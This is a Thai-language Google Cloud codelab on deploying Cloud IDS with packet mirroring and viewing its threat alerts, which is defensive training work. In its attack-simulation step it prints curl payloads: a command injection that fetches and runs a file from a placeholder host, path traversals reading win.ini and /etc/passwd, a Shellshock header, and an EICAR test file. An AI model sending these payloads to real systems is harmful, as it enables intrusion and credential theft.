Cloud IDS

1. บทนำ

ในแล็บนี้ คุณจะได้ติดตั้งใช้งาน Cloud IDS ซึ่งเป็นบริการตรวจจับการบุกรุกขั้นสูงรุ่นถัดไปที่ตรวจหาภัยคุกคามจากการบุกรุก มัลแวร์ สปายแวร์ และการโจมตีแบบ Command and Control คุณจะจำลองการโจมตีหลายครั้งและดูรายละเอียดภัยคุกคามใน Cloud Console

สิ่งที่คุณจะได้เรียนรู้

  • วิธีสร้างปลายทาง Cloud IDS
  • วิธีสร้างเครื่องเสมือน 2 เครื่องด้วยคำสั่ง gcloud
  • วิธีสร้างนโยบายการมิเรอร์แพ็กเกต
  • วิธีจำลองการเข้าชมการโจมตีจากเครื่องเสมือน
  • วิธีดูรายละเอียดภัยคุกคามใน Cloud Console และ Cloud Logging

สิ่งที่คุณต้องมี

  • ความรู้เกี่ยวกับคำสั่ง Linux พื้นฐาน

2. กรณีการใช้งาน Cloud IDS

Cloud IDS ให้บริการตรวจจับการบุกรุก (IDS) รุ่นถัดไปแบบเนทีฟของ Google Cloud แก่ลูกค้าเพื่อตอบสนองข้อกำหนดในการตรวจหาภัยคุกคามขั้นสูงและการปฏิบัติตามข้อกำหนด เช่น PCI 11.4 บริการนี้ขับเคลื่อนด้วยเทคโนโลยีการป้องกันภัยคุกคามของ Palo Alto Networks เพื่อให้การตรวจจับการบุกรุกขั้นสูง การผสานรวมโครงสร้างพื้นฐานระดับโลกของ Google Cloud เข้ากับความปลอดภัยระดับโลกจาก Palo Alto Networks ทำให้ลูกค้าได้รับบริการตรวจหาภัยคุกคามขั้นสูงที่ไม่มีใครเทียบได้ ซึ่งเป็นบริการที่มีการจัดการเต็มรูปแบบ มีประสิทธิภาพสูง และมีประสิทธิภาพด้านความปลอดภัยสูงสุด

เมื่อลูกค้าทำการย้ายข้อมูลไปยังระบบคลาวด์ ความปลอดภัยเป็นสิ่งที่ลูกค้าให้ความสำคัญเป็นอันดับแรก ลูกค้าต้องการใช้การควบคุมความปลอดภัยที่คล้ายกันกับที่ใช้ในองค์กร เช่น บริการตรวจจับการบุกรุก (IDS) ในระบบคลาวด์ โดยต้องการใช้โซลูชัน IDS ที่มีการจัดการแบบ Cloud Native เพื่อความสะดวกในการติดตั้งใช้งาน ประสิทธิภาพสูง และค่าใช้จ่ายที่ได้รับการเพิ่มประสิทธิภาพ เมื่อเทียบกับการติดตั้งใช้งานโซลูชันด้านความปลอดภัยของบุคคลที่สามและการจัดการโครงสร้างพื้นฐาน หรือการนำลายเซ็นของตนเองมาใช้ Google Cloud IDS ให้บริการ IDS ที่มีการจัดการแบบครบวงจรและปรับขนาดอัตโนมัติ ซึ่งช่วยให้ลูกค้ามีเวลาวิเคราะห์และลดภัยคุกคาม รวมถึงมีเวลาและทรัพยากรมากขึ้นในการจัดการโครงสร้างพื้นฐานหรือลายเซ็นภัยคุกคาม

Cloud IDS ได้รับการติดตั้งใช้งานนอกแบนด์และสามารถตรวจจับและแจ้งเตือนภัยคุกคามได้ แต่ไม่สามารถบล็อกภัยคุกคามได้ โดยจะใช้การมิเรอร์แพ็กเก็ตของ Google Cloud เพื่อทำสำเนาการรับส่งข้อมูลเครือข่ายที่ได้รับการวิเคราะห์โดยใช้เครื่องมือตรวจจับภัยคุกคามของ Palo Alto Network

3. โทโพโลยี Codelab

5a276f399e1d31e2.png

รูปที่ 1 ภาพรวมสถาปัตยกรรมระดับสูงของการติดตั้งใช้งาน Cloud IDS สำหรับห้องทดลองนี้

4. การตั้งค่าและข้อกำหนด

การตั้งค่าสภาพแวดล้อมแบบเรียนรู้ด้วยตนเอง

  1. ลงชื่อเข้าใช้ Google Cloud Console แล้วสร้างโปรเจ็กต์ใหม่หรือใช้โปรเจ็กต์ที่มีอยู่ซ้ำ หากยังไม่มีบัญชี Gmail หรือ Google Workspace คุณต้องสร้างบัญชี

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • ชื่อโปรเจ็กต์คือชื่อที่แสดงสำหรับผู้เข้าร่วมโปรเจ็กต์นี้ โดยเป็นสตริงอักขระที่ Google APIs ไม่ได้ใช้ และคุณสามารถอัปเดตได้ทุกเมื่อ
  • รหัสโปรเจ็กต์ต้องไม่ซ้ำกันในโปรเจ็กต์ Google Cloud ทั้งหมดและเปลี่ยนแปลงไม่ได้ (เปลี่ยนไม่ได้หลังจากตั้งค่าแล้ว) Cloud Console จะสร้างสตริงที่ไม่ซ้ำกันโดยอัตโนมัติ ซึ่งโดยปกติแล้วคุณไม่จำเป็นต้องสนใจว่าสตริงนั้นคืออะไร ใน Codelab ส่วนใหญ่ คุณจะต้องอ้างอิงรหัสโปรเจ็กต์ (และโดยทั่วไปจะระบุเป็น PROJECT_ID) ดังนั้นหากไม่ชอบรหัสที่สร้างขึ้น ให้สร้างรหัสแบบสุ่มอีกรหัส หรือจะลองใช้รหัสของคุณเองและดูว่ามีรหัสนั้นหรือไม่ก็ได้ จากนั้นจะ "หยุด" หลังจากสร้างโปรเจ็กต์แล้ว
  • นอกจากนี้ยังมีค่าที่ 3 คือหมายเลขโปรเจ็กต์ ซึ่ง API บางตัวใช้ ดูข้อมูลเพิ่มเติมเกี่ยวกับค่าทั้ง 3 นี้ได้ในเอกสารประกอบ
  1. จากนั้นคุณจะต้องเปิดใช้การเรียกเก็บเงินใน Cloud Console เพื่อใช้ทรัพยากร/API ของ Cloud การทำตาม Codelab นี้ไม่ควรมีค่าใช้จ่ายมากนัก หรืออาจไม่มีเลย หากต้องการปิดแหล่งข้อมูลเพื่อไม่ให้มีการเรียกเก็บเงินนอกเหนือจากบทแนะนำนี้ ให้ทำตามวิธีการ "ล้างข้อมูล" ที่ตอนท้ายของ Codelab ผู้ใช้ Google Cloud รายใหม่มีสิทธิ์เข้าร่วมโปรแกรมช่วงทดลองใช้ฟรีมูลค่า$300 USD

เริ่มต้น Cloud Shell

แม้ว่าคุณจะใช้งาน Google Cloud จากระยะไกลจากแล็ปท็อปได้ แต่ใน Codelab นี้คุณจะใช้ Google Cloud Shell ซึ่งเป็นสภาพแวดล้อมบรรทัดคำสั่งที่ทำงานในระบบคลาวด์

จาก GCP Console ให้คลิกไอคอน Cloud Shell ในแถบเครื่องมือด้านขวาบน

bce75f34b2c53987.png

การจัดสรรและเชื่อมต่อกับสภาพแวดล้อมจะใช้เวลาเพียงไม่กี่นาที เมื่อเสร็จแล้ว คุณควรเห็นข้อความคล้ายกับตัวอย่างต่อไปนี้

f6ef2b5f13479f3a.png

เครื่องเสมือนนี้มาพร้อมเครื่องมือพัฒนาซอฟต์แวร์ทั้งหมดที่คุณต้องการ โดยมีไดเรกทอรีหลักแบบถาวรขนาด 5 GB และทำงานบน Google Cloud ซึ่งช่วยเพิ่มประสิทธิภาพเครือข่ายและการตรวจสอบสิทธิ์ได้อย่างมาก คุณสามารถทำงานทั้งหมดในห้องทดลองนี้ได้โดยใช้เพียงเบราว์เซอร์

5. ก่อนเริ่มต้น

เปิดใช้ API

ตรวจสอบว่าได้ตั้งค่ารหัสโปรเจ็กต์ใน Cloud Shell แล้ว

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

เปิดใช้บริการทั้งหมดที่จำเป็น

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. สร้างเครือข่าย VPC

เครือข่าย VPC

จาก Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

ซับเน็ต

จาก Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

การเข้าถึงบริการแบบส่วนตัว

จาก Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

การเชื่อมต่อบริการส่วนตัว

จาก Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

กฎไฟร์วอลล์

หากต้องการอนุญาตให้ IAP เชื่อมต่อกับอินสแตนซ์ VM ให้สร้างกฎไฟร์วอลล์ที่มีลักษณะดังนี้

  • มีผลกับอินสแตนซ์ VM ทั้งหมดที่คุณต้องการให้เข้าถึงได้โดยใช้ IAP
  • อนุญาตการรับส่งข้อมูลขาเข้าจากช่วง IP 35.235.240.0/20 ช่วงนี้มีที่อยู่ IP ทั้งหมดที่ IAP ใช้สำหรับการส่งต่อ TCP

จาก Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

วิธีอนุญาตพอร์ต HTTP มาตรฐาน (TCP 80) และโปรโตคอล ICMP ไปยังเซิร์ฟเวอร์

  • ใช้กับทรัพยากรที่มีแท็กเครือข่าย "server"
  • อนุญาตการรับส่งข้อมูลขาเข้าจากทุกแหล่งที่มา

จาก Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

สร้างอินสแตนซ์ Cloud NAT

Cloud Router

จาก Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

จาก Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. สร้างปลายทาง Cloud IDS

ในส่วนนี้ คุณจะได้สร้างปลายทาง Cloud IDS ใน us-east1 โดยตั้งค่าความรุนแรงเป็น "ให้ข้อมูล" การสร้างปลายทาง IDS จะใช้เวลาประมาณ 20 นาที

ปลายทาง IDS

จาก Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

ตรวจสอบว่าได้เริ่มต้นปลายทาง Cloud IDS แล้ว

gcloud ids endpoints list --project=$PROJECT_ID

เอาต์พุต -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. สร้างเครื่องเสมือน 2 เครื่อง

ในส่วนนี้ คุณจะสร้างเครื่องเสมือน 2 เครื่อง อย่างแรกคือเว็บเซิร์ฟเวอร์ที่มิเรอร์ไปยัง Cloud IDS เครื่องเสมือนเครื่องที่ 2 จะเป็นแหล่งที่มาของการเข้าชมการโจมตี

เครื่องเสมือน 1 (เซิร์ฟเวอร์)

จาก Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

เครื่องเสมือน 2 (ไคลเอ็นต์)

จาก Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. การเตรียมเซิร์ฟเวอร์

ในงานนี้ คุณจะต้องตรวจสอบเซิร์ฟเวอร์และระบุเพย์โหลดมัลแวร์ที่ไม่อันตรายสำหรับไคลเอ็นต์

SSH เข้าสู่ VM ผ่าน Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

ยืนยันว่าเว็บเซอร์วิสทำงานอยู่

sudo systemctl status nginx

เอาต์พุต - ยืนยันว่าใช้งานอยู่และทำงาน

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

เปลี่ยนไดเรกทอรีเป็นบริการเว็บ

cd /var/www/html/

สร้างไฟล์มัลแวร์ที่ไม่เป็นอันตรายในเว็บเซิร์ฟเวอร์

sudo touch eicar.file

วางเนื้อหา

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

กลับไปที่ Cloud Shell

exit

สร้างนโยบายการมิเรอร์แพ็กเก็ตของ Cloud IDS

ระบุกฎการส่งต่อปลายทาง IDS และยืนยันว่าสถานะปลายทาง IDS เป็น "พร้อม"

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

เอาต์พุตตัวอย่าง - คัดลอกค่าจาก "endpointForwardingRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

บันทึกกฎการส่งต่อปลายทาง IDS ไปยังตัวแปร

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

นโยบายการมิเรอร์แพ็กเกต

จาก Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

ยืนยันว่าได้สร้างนโยบายการมิเรอร์แพ็กเกตแล้ว

จาก Cloud Shell

gcloud compute packet-mirrorings list

เอาต์พุต

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. จำลองการรับส่งข้อมูลการโจมตี

SSH เข้าสู่เครื่องเสมือนของผู้โจมตี (ไคลเอ็นต์)

จาก Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

เรียกใช้คำขอ curl ต่อไปนี้เพื่อจำลองการเข้าชมที่เป็นอันตราย

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

ออกจาก VM เพื่อกลับไปที่ Cloud Shell

exit

11. ตรวจสอบภัยคุกคามที่ Cloud IDS ตรวจพบ

ไปยังแดชบอร์ด Cloud IDS

เมนูการนำทาง > ความปลอดภัยของเครือข่าย > Cloud IDS

37583419aa604aa8.png

ไปที่แท็บภัยคุกคาม

b7d934f409b4e2b.png

ดังที่เห็น Cloud IDS จับภาพโปรไฟล์การเข้าชมการโจมตีต่างๆ และให้รายละเอียดเกี่ยวกับภัยคุกคามแต่ละรายการ คุณอาจต้องคลิกปุ่ม "รีเฟรช" หากไม่เห็นภัยคุกคาม ตอนนี้เราจะเจาะลึกและดูรายละเอียดภัยคุกคามกัน

ค้นหาภัยคุกคาม "ช่องโหว่การเรียกใช้โค้ดจากระยะไกลใน Bash" แล้วคลิกจุด 3 จุดทางด้านขวาและเลือก "ดูรายละเอียดภัยคุกคาม"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

ตอนนี้เราจะดูรายละเอียดของเหตุการณ์นี้ใน Cloud Logging กลับไปที่หน้าภัยคุกคามโดยคลิกลูกศรชี้ไปทางซ้าย

คลิกจุด 3 จุดทางด้านขวา แล้วเลือก "ดูบันทึกภัยคุกคาม"

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

ระบบจะส่งรายละเอียดเดียวกันนี้ไปยัง Cloud Logging ซึ่งช่วยให้คุณส่งบันทึกไปยัง Cloud Storage, Chronicle หรือ SIEM/SOAR ได้ นอกจากนี้ คุณยังสร้างเวิร์กโฟลว์ที่กำหนดเองเพื่อดำเนินการแก้ไขตามการแจ้งเตือนได้ด้วย เช่น การสร้างฟังก์ชัน Cloud ที่ทริกเกอร์เมื่อมีการแจ้งเตือน และสร้าง/อัปเดตกฎไฟร์วอลล์เพื่อบล็อกที่อยู่ IP หรือสร้าง/อัปเดตนโยบาย Cloud Armor

12. ขั้นตอนการล้างข้อมูล

ออกจากอินสแตนซ์ VM (ทุกแท็บ)

exit

ลบคอมโพเนนต์ของ Lab จากเทอร์มินัล Cloud Shell เดียว

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. ยินดีด้วย

ขอแสดงความยินดีที่ทำ Codelab เสร็จสมบูรณ์

สิ่งที่เราได้พูดถึง

  • กรณีการใช้งาน Cloud IDS
  • ข้อกำหนดเกี่ยวกับเครือข่าย
  • API ที่รองรับ
  • สร้างปลายทาง Cloud IDS
  • VM 2 รายการที่ใช้งาน
  • สร้างการเข้าชม "การโจมตี" จากไคลเอ็นต์
  • IDS ตรวจพบภัยคุกคามที่ได้รับการยืนยันแล้ว
  • ตรวจสอบรายละเอียดภัยคุกคามและบันทึก